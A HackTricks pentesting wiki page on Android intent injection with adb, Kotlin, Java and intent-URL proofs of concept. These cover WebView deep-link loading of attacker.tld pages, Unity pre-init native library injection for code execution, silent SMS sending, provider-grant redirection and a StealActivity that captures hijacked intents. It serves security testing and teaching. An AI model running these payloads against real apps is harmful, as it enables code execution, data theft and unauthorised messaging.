intent-injection.md (30824B)
1 --- 2 title: "Intent Injection" 3 section: "Mobile" 4 sectionSlug: "mobile-pentesting" 5 sourcePath: "src/mobile-pentesting/android-app-pentesting/intent-injection.md" 6 sourceUrl: "https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/mobile-pentesting/android-app-pentesting/intent-injection.md" 7 sha: "188de82beb54e70956b2952367a0af91d26758b8" 8 isIndex: false 9 modified: true 10 license: "CC-BY-NC-4.0" 11 --- 12 13 # Intent Injection 14 15 Intent injection abuses components that accept attacker-controlled Intents or data that is later converted into Intents. Two very common patterns during Android app pentests are: 16 17 - Passing crafted extras to exported Activities/Services/BroadcastReceivers that are later forwarded to privileged, non-exported components. 18 - Triggering exported VIEW/BROWSABLE deep links that forward attacker-controlled URLs into internal WebViews or other sensitive sinks. 19 20 ## Deep links → WebView sink (URL parameter injection) 21 22 If an app exposes a custom scheme deep link such as: 23 24 ```text 25 myscheme://com.example.app/web?url=<attacker_url> 26 ``` 27 28 and the receiving Activity forwards the `url` query parameter into a WebView, you can force the app to render arbitrary remote content in its own WebView context.<sup>[[2]](#references)[[3]](#references)[[4]](#references)</sup> 29 30 PoC via adb: 31 32 ```bash 33 # Implicit VIEW intent 34 adb shell am start -a android.intent.action.VIEW \ 35 -d "myscheme://com.example.app/web?url=https://attacker.tld/payload.html" 36 37 # Or explicitly target an Activity 38 adb shell am start -n com.example/.MainActivity -a android.intent.action.VIEW \ 39 -d "myscheme://com.example.app/web?url=https://attacker.tld/payload.html" 40 ``` 41 42 Impact 43 - HTML/JS executes inside the app’s WebView profile. 44 - If JavaScript is enabled (by default or due to misordered checks), you can enumerate/use any exposed `@JavascriptInterface` objects, steal WebView cookies/local storage, and pivot. 45 46 See also: 47 48 [Webview Attacks](/hacktricks/mobile-pentesting/android-app-pentesting/webview-attacks) 49 50 ## Order-of-checks bug enabling JavaScript 51 52 A recurring bug is enabling JavaScript (or other permissive WebView settings) before the final URL allowlist/verification finishes. If early helpers accept your deep link and the WebView is configured first, your final load happens with JavaScript already enabled even if later checks are flawed or too late.<sup>[[2]](#references)[[3]](#references)[[4]](#references)</sup> 53 54 What to look for in decompiled code: 55 - Multiple helpers that parse/split/rebuild the URL differently (inconsistent normalization). 56 - Calls to `getSettings().setJavaScriptEnabled(true)` before the last host/path allowlist check. 57 - A pipeline like: parse → partial validate → configure WebView → final verify → loadUrl. 58 59 60 ## Unity Runtime: Intent-to-CLI extras → pre-init native library injection (RCE) 61 62 Unity-based Android apps typically use `com.unity3d.player.UnityPlayerActivity` (or `UnityPlayerGameActivity`) as the entry Activity. Unity’s Android template treats a special Intent extra named `unity` as a string of command-line flags for the Unity runtime. When the entry Activity is exported (default in many templates), any local app – and sometimes a website if `BROWSABLE` is present – can supply this extra.<sup>[[22]](#references)[[23]](#references)</sup> 63 64 A dangerous, undocumented flag leads to native code execution during very early process initialization:<sup>[[30]](#references)</sup> 65 66 - Hidden flag: `-xrsdk-pre-init-library <absolute-path>` 67 - Effect: `dlopen(<absolute-path>, RTLD_NOW)` very early in init, loading attacker-controlled ELF inside the target app’s process with its UID and permissions.<sup>[[22]](#references)</sup> 68 69 Reverse-engineering excerpt (simplified): 70 ```c 71 // lookup the arg value 72 initLibPath = FUN_00272540(uVar5, "xrsdk-pre-init-library"); 73 // load arbitrary native library early 74 lVar2 = dlopen(initLibPath, 2); // RTLD_NOW 75 ``` 76 77 Why it works 78 - The Intent extra `unity` is parsed into Unity runtime flags. 79 - Supplying the pre-init flag points Unity at an attacker-controlled ELF path within an allowed linker namespace path (see constraints below). 80 81 Conditions for exploitation 82 - The Unity entry Activity is exported (commonly true by default). 83 - For one-click remote via browser: the entry Activity also declares `android.intent.category.BROWSABLE` so extras can be passed from an `intent:` URL. 84 85 Local exploitation (same device) 86 1) Place a payload ELF at a path readable by the victim app. Easiest: ship a malicious library in your own attacker app and ensure it is extracted under `/data/app/.../lib/<abi>/` by setting in the attacker’s manifest: 87 ```xml 88 <application android:extractNativeLibs="true" ...> 89 ``` 90 2) Launch the victim’s Unity activity with the CLI pre-init flag in the `unity` extra. Example ADB PoC: 91 ```bash 92 adb shell am start \ 93 -n com.victim.pkg/com.unity3d.player.UnityPlayerActivity \ 94 -e unity "-xrsdk-pre-init-library /data/app/~~ATTACKER_PKG==/lib/arm64/libpayload.so" 95 ``` 96 3) Unity calls `dlopen("/data/.../libpayload.so", RTLD_NOW)`; your payload runs in the victim process, inheriting all its app permissions (camera/mic/network/storage, etc.) and access to in-app sessions/data. 97 98 Notes 99 - The exact `/data/app/...` path varies across devices/installs. An attacker app can retrieve its own native lib dir at runtime via `getApplicationInfo().nativeLibraryDir` and communicate it to the trigger. 100 - The file need not end with `.so` if it is a valid ELF – `dlopen()` cares about ELF headers, not extensions. 101 102 Remote one‑click via browser (conditional) 103 If the Unity entry activity is exported with `BROWSABLE`, a website can pass extras via an `intent:` URL: 104 ```text 105 intent:#Intent;package=com.example.unitygame;scheme=whatever;\ 106 S.unity=-xrsdk-pre-init-library%20/data/local/tmp/malicious.so;end; 107 ``` 108 However, on modern Android the dynamic linker namespaces and SELinux block loading from many public paths (e.g., `/sdcard/Download`). You’ll see errors like: 109 ```text 110 library "/sdcard/Download/libtest.so" ("/storage/emulated/0/Download/libtest.so") needed 111 or dlopened by "/data/app/.../lib/arm64/libunity.so" is not accessible for the 112 namespace: [name="clns-...", ... permitted_paths="/data:/mnt/expand:/data/data/com.example.unitygame"] 113 ``` 114 Bypass strategy: target apps that cache attacker-controlled bytes under their private storage (e.g., HTTP caches). Because permitted paths include `/data` and the app’s private dir, pointing `-xrsdk-pre-init-library` at an absolute path inside the app’s cache can satisfy linker constraints and yield code execution.<sup>[[22]](#references)</sup> This mirrors prior cache-to-ELF RCE patterns experienced in other Android apps.<sup>[[24]](#references)</sup> 115 116 117 ## Confused‑Deputy: Silent SMS/MMS via ACTION_SENDTO (Wear OS Google Messages) 118 119 Some default messaging apps incorrectly auto‑execute implicit messaging intents, turning them into a confused‑deputy primitive: any unprivileged app can trigger `Intent.ACTION_SENDTO` with `sms:`, `smsto:`, `mms:`, or `mmsto:` and cause an immediate send without a confirmation UI and without the `SEND_SMS` permission.<sup>[[25]](#references)[[27]](#references)</sup> 120 121 Key points 122 - Trigger: implicit `ACTION_SENDTO` + messaging URI scheme. 123 - Data: set recipient in the URI, message text in the `"sms_body"` extra. 124 - Permissions: none (no `SEND_SMS`), relies on the default SMS/MMS handler. 125 - Observed: Google Messages for Wear OS (patched May 2025). Other handlers should be assessed similarly.<sup>[[25]](#references)</sup> 126 127 Minimal payload (Kotlin)<sup>[[25]](#references)</sup> 128 ```kotlin 129 val intent = Intent(Intent.ACTION_SENDTO).apply { 130 data = Uri.parse("smsto:+11234567890") // or sms:, mms:, mmsto: 131 putExtra("sms_body", "Hi from PoC") 132 // From a non-Activity context add NEW_TASK 133 addFlags(Intent.FLAG_ACTIVITY_NEW_TASK) 134 } 135 startActivity(intent) 136 ``` 137 138 ADB PoC (no special permissions)<sup>[[26]](#references)</sup> 139 ```bash 140 # SMS/SMS-to 141 adb shell am start -a android.intent.action.SENDTO -d "smsto:+11234567890" --es sms_body "hello" 142 adb shell am start -a android.intent.action.SENDTO -d "sms:+11234567890" --es sms_body "hello" 143 144 # MMS/MMS-to (handler-dependent behaviour) 145 adb shell am start -a android.intent.action.SENDTO -d "mmsto:+11234567890" --es sms_body "hello" 146 adb shell am start -a android.intent.action.SENDTO -d "mms:+11234567890" --es sms_body "hello" 147 ``` 148 149 Attack surface expansion (Wear OS) 150 - Any component capable of launching activities can fire the same payload: Activities, foreground Services (with `FLAG_ACTIVITY_NEW_TASK`), Tiles, Complications.<sup>[[25]](#references)</sup> 151 - If the default handler auto‑sends, abuse can be one‑tap or fully silent from background contexts depending on OEM policies. 152 153 Pentest checklist 154 - Resolve `ACTION_SENDTO` on target to identify the default handler; verify whether it shows a compose UI or silently sends. 155 - Exercise all four schemes (`sms:`, `smsto:`, `mms:`, `mmsto:`) and extras (`sms_body`, optionally `subject` for MMS) to check behaviour differences. 156 - Consider charged destinations/premium‑rate numbers when testing on real devices. 157 158 159 ## Other classic Intent injection primitives 160 161 - startActivity/sendBroadcast using attacker-supplied `Intent` extras that are later re-parsed (`Intent.parseUri(...)`) and executed. 162 - Exported proxy components that forward Intents to non-exported sensitive components without permission checks.<sup>[[1]](#references)</sup> 163 164 --- 165 166 ## Automating exported-component testing (Smali-driven ADB generation) 167 168 When exported components expect specific extras, guessing payload shape causes time waste and false negatives. You can automate discovery of keys/types directly from Smali and emit ready-to-run adb commands.<sup>[[5]](#references)[[6]](#references)</sup> 169 170 Tool: APK Components Inspector 171 - Repo: https://github.com/thecybersandeep/apk-components-inspector<sup>[[6]](#references)</sup> 172 - Approach: decompile and scan Smali for calls like `getStringExtra("key")`, `getIntExtra("id", ...)`, `getParcelableExtra("redirect_intent")`, `getSerializableExtra(...)`, `getBooleanExtra(...)`, `getAction()`, `getData()` to infer which extras and fields are consumed by each component. 173 - Output: for every exported Activity/Service/Receiver/Provider, the tool prints a short explanation and the exact `adb shell am ...`/`cmd content ...` command with correctly typed flags. 174 175 Install 176 ```bash 177 git clone https://github.com/thecybersandeep/apk-components-inspector 178 cd apk-components-inspector 179 python3 -m venv venv && source venv/bin/activate 180 pip install androguard==3.3.5 rich 181 ``` 182 183 Usage 184 ```bash 185 python apk-components-inspector.py target.apk 186 ``` 187 Example output 188 ```bash 189 adb shell am start -n com.target/.ExportedActivity --es url https://example.tld 190 adb shell am startservice -n com.target/.ExportedService --ei user_id 1337 --ez force true 191 adb shell am broadcast -n com.target/.ExportedReceiver -a com.target.ACTION --es redirect_intent "intent:#Intent;component=com.target/.Internal;end" 192 adb shell cmd content query --uri content://com.target.provider/items 193 ``` 194 195 ADB am extras cheat sheet (type-aware flags) 196 - Strings: `--es key value` | String array: `--esa key v1,v2` 197 - Integers: `--ei key 123` | Int array: `--eia key 1,2,3` 198 - Booleans: `--ez key true|false` 199 - Longs: `--el key 1234567890` 200 - Floats: `--ef key 1.23` 201 - URIs (extra): `--eu key content://...` | Data URI (Intent data): `-d content://...` 202 - Component extra: `--ecn key com.pkg/.Cls` 203 - Null string extra: `--esn key` 204 - Common flags: `-a <ACTION>` `-c <CATEGORY>` `-t <MIME>` `-f <FLAGS>` `--activity-clear-task --activity-new-task` 205 206 Pro tips for Providers 207 - Use `adb shell cmd content query|insert|update|delete ...` to hit ContentProviders without agents. 208 - For SQLi probing, vary `--projection` and `--where` (aka selection) when the underlying provider is SQLite-backed. 209 210 Full-pipeline automation (interactive executor) 211 ```bash 212 # generate and capture commands then execute them one by one interactively 213 python apk-components-inspector.py app.apk | tee adbcommands.txt 214 python run_adb_commands.py 215 ``` 216 <details> 217 <summary>Helper script to parse and execute adb commands</summary> 218 219 ```python 220 import subprocess 221 222 def parse_adb_commands(file_path): 223 with open(file_path, 'r') as file: 224 lines = file.readlines() 225 commands = [] 226 current = [] 227 for line in lines: 228 s = line.strip() 229 if s.startswith("adb "): 230 current = [s] 231 elif s.startswith("#") or not s: 232 if current: 233 full = ' '.join(current).replace(" \\ ", " ").replace("\\", "").strip() 234 commands.append(full) 235 current = [] 236 elif current: 237 current.append(s) 238 if current: 239 full = ' '.join(current).replace(" \\ ", " ").replace("\\", "").strip() 240 commands.append(full) 241 return commands 242 243 for i, cmd in enumerate(parse_adb_commands('adbcommands.txt'), 1): 244 print(f"\nCommand {i}: {cmd}") 245 input("Press Enter to execute this command...") 246 try: 247 r = subprocess.run(cmd, shell=True, check=True, text=True, capture_output=True) 248 print("Output:\n", r.stdout) 249 if r.stderr: 250 print("Errors:\n", r.stderr) 251 except subprocess.CalledProcessError as e: 252 print(f"Command failed with error:\n{e.stderr}") 253 ``` 254 255 </details> 256 257 Run on-device: the inspector is Python-based and works in Termux or rooted phones where `apktool`/`androguard` are available. 258 259 --- 260 261 ## Intent Redirection (CWE-926) – finding and exploiting 262 263 Pattern 264 - An exported entry point (Activity/Service/Receiver) reads an incoming Intent and forwards it internally or externally without validating source/data, e.g.: 265 - `startActivity(getIntent())` 266 - `startActivity(intent)` where `intent` came from an extra like `redirect_intent`/`next_intent`/`pending_intent` or `Intent.parseUri(...)`. 267 - Trusting `action`/`data`/`component` fields without checks; not verifying caller identity.<sup>[[7]](#references)[[8]](#references)[[9]](#references)[[10]](#references)</sup> 268 269 What to search in Smali/Java 270 - Uses of `getParcelableExtra("redirect_intent")`, `getParcelable("intent")`, `getIntent().getParcelableExtra(...)`. 271 - Direct `startActivity(...)`, `startService(...)`, `sendBroadcast(...)` on attacker-influenced Intents. 272 - Lack of `getCallingPackage()`/`getCallingActivity()` checks or custom permission gates. 273 274 ADB PoC templates 275 - Proxy Activity forwarding an extra Intent to a privileged internal Activity: 276 ```bash 277 adb shell am start -n com.target/.ProxyActivity \ 278 --es redirect_intent 'intent:#Intent;component=com.target/.SensitiveActivity;end' 279 ``` 280 - Exported Service that honors a `redirect_intent` parcelable: 281 ```bash 282 adb shell am startservice -n com.target/.ExportedService \ 283 --es redirect_intent 'intent:#Intent;component=com.target/.PrivService;action=com.target.DO;end' 284 ``` 285 - Exported Receiver that relays without validation: 286 ```bash 287 adb shell am broadcast -n com.target/.RelayReceiver -a com.target.RELAY \ 288 --es forwarded 'intent:#Intent;component=com.target/.HiddenActivity;S.extra=1;end' 289 ``` 290 Flags helpful for singleTask-style behavior 291 ```bash 292 # Ensure a fresh task when testing Activities that check task/intent flags 293 adb shell am start -n com.target/.ExportedActivity --activity-clear-task --activity-new-task 294 ``` 295 296 ### Exported SDK proxy activity + `Intent.parseUri(..., URI_ALLOW_UNSAFE)` + provider grant abuse 297 298 A high-impact variant appears when a **third-party SDK adds an exported proxy Activity** in the **merged manifest** and that Activity turns attacker-controlled input into a new `Intent` that the victim app launches.<sup>[[21]](#references)</sup> 299 300 Common flow: 301 - Malicious app explicitly starts an **exported** Activity added by an SDK. 302 - The Activity reads an attacker-controlled extra/data field, sometimes wrapping it in JSON first. 303 - A field like `intent_uri` / `redirect_intent` / `n_intent_uri` is passed into `Intent.parseUri(...)`. 304 - The parsed result is later executed with `startActivity(...)`, `startService(...)`, or `sendBroadcast(...)` **under the victim app UID/permissions**. 305 306 High-risk indicators during review: 307 - SDK-added components visible only in the **merged** `AndroidManifest.xml`. 308 - `Intent.parseUri(untrusted, Intent.URI_ALLOW_UNSAFE)` on user-controlled strings. 309 - Code that appears to sanitize the parsed `Intent` (`setComponent(null)`, action checks, etc.) but **returns or launches a different explicit Intent**. 310 - Provider-related flags surviving the parse/forward chain: 311 - `FLAG_GRANT_READ_URI_PERMISSION` 312 - `FLAG_GRANT_WRITE_URI_PERMISSION` 313 - `FLAG_GRANT_PERSISTABLE_URI_PERMISSION` 314 315 Why this matters 316 - This is not only a generic redirect to another exported component. If the forwarded `Intent` points to a `content://` URI, the victim app can become the **confused deputy** that grants provider access on behalf of the attacker. 317 - With `URI_ALLOW_UNSAFE`, attacker-controlled `intent:` strings can preserve grant flags during parsing. If the target flow later accepts/takes the grant, the attacker may obtain **persistent** read/write access until the victim revokes it.<sup>[[19]](#references)[[20]](#references)</sup> 318 - In practice this can expose data reachable through providers that rely on the victim app identity or transient URI grants, including app-private files surfaced through `FileProvider`-style paths. 319 320 What to look for in code / Smali 321 - Exported Activity/Receiver/Service calling: 322 - `Intent.parseUri(...)` 323 - `startActivity(...)` / `startService(...)` / `sendBroadcast(...)` 324 - `setFlags(...)`, `addFlags(...)`, `getFlags()` 325 - `setComponent(null)` or `setPackage(null)` on one object while another `Intent` is actually returned/launched 326 - Parse-and-forward chains such as: 327 - incoming extra → JSON object → `intentUri` field → `Intent.parseUri(...)` → launch 328 - deep link / push payload / notification payload → helper method → explicit internal launch 329 - Manifest-merging surprises from dependencies: 330 ```bash 331 # Inspect final exported components, not only the source manifest 332 apkanalyzer manifest print app.apk | grep -n -A4 -B2 'exported' 333 ``` 334 335 ADB testing ideas 336 ```bash 337 # 1. Reach the exported proxy component directly 338 adb shell am start -n com.victim/.SdkProxyActivity \ 339 --es payload '{"n_intent_uri":"intent:#Intent;action=android.intent.action.VIEW;S.browser_fallback_url=https://attacker.tld;end"}' 340 341 # 2. Test whether the app reparses an intent URI and launches an explicit internal target 342 adb shell am start -n com.victim/.SdkProxyActivity \ 343 --es payload '{"n_intent_uri":"intent:#Intent;component=com.victim/.SensitiveActivity;end"}' 344 345 # 3. Probe provider-grant behaviour with content:// targets and grant flags 346 adb shell am start -n com.victim/.SdkProxyActivity \ 347 --es payload '{"n_intent_uri":"intent:#Intent;action=android.intent.action.VIEW;data=content://com.victim.fileprovider/root/secret.xml;launchFlags=0x43;end"}' 348 ``` 349 350 Notes 351 - `0x43` is a compact test value for `FLAG_GRANT_READ_URI_PERMISSION` (`0x1`), `FLAG_GRANT_WRITE_URI_PERMISSION` (`0x2`), and `FLAG_GRANT_PERSISTABLE_URI_PERMISSION` (`0x40`). 352 - Exact extra names differ by app/SDK. During reversing, grep for `getStringExtra`, JSON field names, and helper methods that rebuild `Intent` objects from strings. 353 - If the vulnerable component comes from a dependency, always inspect the **merged manifest** generated after Gradle manifest merge, not only the developer-authored source manifest. 354 355 Real-world examples (impact varies): 356 - CVE-2024-26131 (Element Android): exported flows leading to WebView manipulation, PIN bypass, login hijack.<sup>[[11]](#references)</sup> 357 - CVE-2023-44121 (LG ThinQ Service): exported receiver action `com.lge.lms.things.notification.ACTION` → system-level effects.<sup>[[12]](#references)</sup> 358 - CVE-2023-30728 (Samsung PackageInstallerCHN < 13.1.03.00): redirection → arbitrary file access (w/ user interaction).<sup>[[13]](#references)</sup> 359 - CVE-2022-36837 (Samsung Email < 6.1.70.20): implicit Intents leak content.<sup>[[14]](#references)</sup> 360 - CVE-2021-4438 (React Native SMS User Consent).<sup>[[15]](#references)</sup> 361 - CVE-2020-14116 (Xiaomi Mi Browser).<sup>[[16]](#references)</sup> 362 363 364 --- 365 366 ## Intent Hijacking (implicit intents) 367 368 Threat model 369 - App A expects a sensitive result from App B using an implicit Intent (e.g., an OAuth redirect, a document picker result, an IMAGE_CAPTURE return, or a custom callback action). 370 - Attacker App C publishes an exported component with a matching `<intent-filter>` for the same `action`/`category`/`data`. When B resolves the implicit Intent, the resolver may present a chooser; if the user picks C (or sets it as default), the payload is delivered to the attacker component instead of A.<sup>[[17]](#references)</sup> 371 372 Minimal PoC manifest (attacker): 373 ```xml 374 <activity android:name=".StealActivity" android:exported="true"> 375 <intent-filter> 376 <action android:name="com.victim.app.ACTION_CALLBACK"/> 377 <category android:name="android.intent.category.DEFAULT"/> 378 <!-- Optionally constrain MIME or scheme/host/path to increase match score --> 379 <!-- <data android:mimeType="application/json"/> --> 380 <!-- <data android:scheme="myscheme" android:host="callback"/> --> 381 </intent-filter> 382 </activity> 383 ``` 384 Handler skeleton: 385 ```java 386 public class StealActivity extends Activity { 387 @Override protected void onCreate(Bundle b) { 388 super.onCreate(b); 389 Intent i = getIntent(); 390 Bundle extras = i.getExtras(); 391 Uri data = i.getData(); 392 // Dump/forward sensitive result 393 android.util.Log.i("HIJACK", "action="+i.getAction()+" data="+data+" extras="+extras); 394 finish(); 395 } 396 } 397 ``` 398 399 Notes 400 - Match specificity matters (action + categories + data). The more specific C’s filter is to B’s outgoing Intent, the higher the chance it is shown or auto-selected. 401 - This also applies to deep links (`VIEW` + `BROWSABLE`) when apps expect another app to handle a URL and return something back. 402 403 Pentest guidance 404 - Grep the target for `startActivity`/`startActivityForResult`/`registerForActivityResult` calls using non-explicit Intents. 405 - Inspect Intents carrying tokens in `extras`, `clipData`, or `getData()` and see whether a third-party could register a compatible filter. 406 - Recommend replacing implicit flows with explicit Intents (set `setPackage()`/`setComponent()`), or requiring caller-permission/signed permissions on exported receivers/services. 407 408 Mitigations 409 - Prefer explicit Intents for sensitive flows (callbacks, tokens, auth results). 410 - When cross-app is necessary, add permission requirements to the receiving component and validate caller identity. 411 - Limit and tighten Intent filters to only what is strictly needed (scheme/host/path/MIME). 412 413 --- 414 415 ## Observing resolver decisions (FLAG_DEBUG_LOG_RESOLUTION) 416 417 When you control the sender, add `Intent.FLAG_DEBUG_LOG_RESOLUTION` to an implicit Intent to make Android log how resolution happens and which component will be selected.<sup>[[17]](#references)[[18]](#references)</sup> 418 419 Example: 420 ```java 421 Intent intent = new Intent(); 422 intent.setAction("android.media.action.IMAGE_CAPTURE"); 423 intent.addFlags(Intent.FLAG_DEBUG_LOG_RESOLUTION); 424 startActivityForResult(intent, 42); 425 ``` 426 What you’ll see in `adb logcat` is the resolution trace and the final component, e.g. `com.android.camera2/com.android.camera.CaptureActivity`. 427 428 CLI tip 429 ```bash 430 # You can also set the debug flag from adb when firing an implicit Intent 431 # 0x00000008 == Intent.FLAG_DEBUG_LOG_RESOLUTION on modern Android 432 adb shell am start -a android.media.action.IMAGE_CAPTURE -f 0x00000008 433 434 # Then inspect the resolution in logs 435 adb logcat | grep -i -E "resolve|Resolver|PackageManager|ActivityTaskManager" 436 ``` 437 438 This is useful to enumerate candidate handlers on a device/emulator and confirm exactly which component will receive an Intent during testing. 439 440 --- 441 442 ## Runtime intent tracing and replay with Frida (IRIS) 443 444 Static manifest review and one-shot `adb shell am ...` probes miss flows that are only assembled at runtime or that traverse exported proxy components before reaching a sensitive sink. A practical approach is to hook Android's dispatch path inside **`system_server`** with Frida, capture real intent traffic, and then replay the interesting ones. 445 446 **IRIS** ([Intent Runtime Inspection System](https://github.com/Ch0pin/iris)) is a local workflow for this: it attaches to **`system_server`**, records **caller package/process**, **target package/component**, **action**, **data URI**, **scheme/host**, **extras**, **hook stage**, and **dispatch result**, stores the normalized events in **SQLite**, and exposes filtering + replay from a local UI.<sup>[[28]](#references)[[29]](#references)</sup> 447 448 Why this helps during intent testing: 449 - catch **runtime-only** flows generated after login, QR scans, push notifications, WebViews, or chained proxy components 450 - identify which package really launched the target component before you try to spoof it 451 - recover the exact **action/data/extras** shape needed to reproduce a sensitive path 452 - confirm whether a flow is replayable with plain **`adb`** or if it depends on Android-native **`Bundle`** / **`Parcelable`** values 453 454 Minimal workflow: 455 456 ```bash 457 # List Frida-visible devices 458 python3 -m intent_monitor list-devices 459 460 # Capture + serve the local UI 461 python3 -m intent_monitor --database ./iris.db monitor --device-id <device-id> 462 463 # Review/filter stored events from CLI 464 python3 -m intent_monitor --database ./iris.db list --target-package com.target.app 465 python3 -m intent_monitor --database ./iris.db list --action android.intent.action.VIEW 466 python3 -m intent_monitor --database ./iris.db list --scheme https --host example.com 467 ``` 468 469 Pentest workflow: 470 1. Drive the victim app normally (login, tap notifications, open QR/deep links, trigger exported receivers/services). 471 2. Filter for the victim package, `VIEW` actions, unusual callers, or deep-link hosts you control. 472 3. Replay the captured event and mutate **action/data/extras** to check whether the target component is externally triggerable or trusts caller-controlled values. 473 4. If replay via normal `adb` loses fidelity because extras are not simple scalars, use the optional helper APK path to rebuild complex **`Bundle`** / **`Parcelable`** payloads on-device before dispatching them. 474 475 This is especially useful for validating: 476 - exported **proxy Activities/Receivers/Services** that forward inbound intents 477 - deep-link handlers that derive privileged state from **URI host/path/extras** 478 - receivers/services that require a very specific extra layout and are painful to brute-force manually 479 - confused-deputy flows where reproducing the original **caller → target** sequence matters 480 481 Notes: 482 - IRIS is a **dynamic discovery/replay aid**, not a proof that a component is exported or attacker-reachable by itself; always confirm the final trigger path with manifest/code review and manual `adb`/app-originated replay. 483 - Service hooks are marked experimental by the tool author and should be enabled only on disposable rooted devices. 484 485 ## References 486 487 - [1] [Android – Access to app-protected components](https://blog.oversecured.com/Android-Access-to-app-protected-components/) 488 - [2] [Samsung S24 Exploit Chain Pwn2Own 2024 Walkthrough](https://medium.com/@happyjester80/samsung-s24-exploit-chain-pwn2own-2024-walkthrough-c7a3da9a7a26) 489 - [3] [Pwn2Own Ireland 2024 – Samsung S24 attack chain (whitepaper)](https://maliciouserection.com/2025/05/13/pwn2own-ireland-2024-samsung-s24-attack-chain-whitepaper.html) 490 - [4] [Demonstration video](https://www.youtube.com/watch?v=LAIr2laU-So) 491 - [5] [Automating Android App Component Testing with New APK Inspector (blog)](https://www.mobile-hacker.com/2025/09/18/automating-android-app-component-testing-with-new-apk-inspector/) 492 - [6] [APK Components Inspector – GitHub](https://github.com/thecybersandeep/apk-components-inspector) 493 - [7] [Google guidance on intent redirection](https://support.google.com/faqs/answer/9267555?hl=en) 494 - [8] [OVAA vulnerable app](https://github.com/oversecured/ovaa) 495 - [9] [Exported Service PoC APK](https://github.com/nhattm3006/android-poc/blob/main/Exported%20Service/poc.apk) 496 - [10] [Ostorlab – 100M installs image app deep dive (component summary example)](https://medium.com/@ostorlab/this-article-is-a-technical-deep-dive-showing-how-a-100m-installation-image-application-can-6343ce8ea076) 497 - [11] [CVE-2024-26131 – NVD](https://nvd.nist.gov/vuln/detail/CVE-2024-26131) 498 - [12] [CVE-2023-44121 – CVE.org](https://www.cve.org/CVERecord?id=CVE-2023-44121) 499 - [13] [CVE-2023-30728 – CVE.org](https://www.cve.org/CVERecord?id=CVE-2023-30728) 500 - [14] [CVE-2022-36837 – CVE.org](https://www.cve.org/CVERecord?id=CVE-2022-36837) 501 - [15] [CVE-2021-4438 – NVD](https://nvd.nist.gov/vuln/detail/CVE-2021-4438) 502 - [16] [CVE-2020-14116 – NVD](https://nvd.nist.gov/vuln/detail/CVE-2020-14116) 503 - [17] [Android Intents (1/2): how they work, security, and attack examples – Mobeta](https://mobeta.fr/android-intent-hijacking-pentest-mobile/) 504 - [18] [Android Intent reference](https://developer.android.com/reference/android/content/Intent) 505 - [19] [Android docs – `URI_ALLOW_UNSAFE`](https://developer.android.com/reference/android/content/Intent#URI_ALLOW_UNSAFE) 506 - [20] [Android docs – `FLAG_GRANT_PERSISTABLE_URI_PERMISSION`](https://developer.android.com/reference/android/content/Intent#FLAG_GRANT_PERSISTABLE_URI_PERMISSION) 507 - [21] [Microsoft: Intent redirection vulnerability in third-party SDK exposed millions of Android wallets to potential risk](https://www.microsoft.com/en-us/security/blog/2026/04/09/intent-redirection-vulnerability-third-party-sdk-android/) 508 - [22] [CVE-2025-59489 – Arbitrary Code Execution in Unity Runtime (blog)](https://flatt.tech/research/posts/arbitrary-code-execution-in-unity-runtime/) 509 - [23] [Unity docs – Android custom activity command-line](https://docs.unity3d.com/6000.0/Documentation/Manual/android-custom-activity-command-line.html) 510 - [24] [HEXACON 2024 – Defense through Offense: Messenger one-click cache-based RCE pattern (slides)](https://2024.hexacon.fr/slides/Calvanno-Defense_through_Offense_Building_a_1-click_Exploit_Targeting_Messenger_for_Android.pdf) 511 - [25] [CVE-2025-12080 — Intent Abuse in Google Messages for Wear OS](https://towerofhanoi.it/writeups/cve-2025-12080/) 512 - [26] [PoC repo – io-no/CVE-2025-12080](https://github.com/io-no/CVE-Reports/tree/main/CVE-2025-12080) 513 - [27] [Android docs – Intents and Intent Filters](https://developer.android.com/guide/components/intents-filters) 514 - [28] [IRIS – Intent Runtime Inspection System](https://github.com/Ch0pin/iris) 515 - [29] [IRIS usage recording](https://www.youtube.com/watch?v=uU-f2zVZj7U) 516 - [30] [Unity Security Sept-2025-01 advisory](https://unity.com/security/sept-2025-01)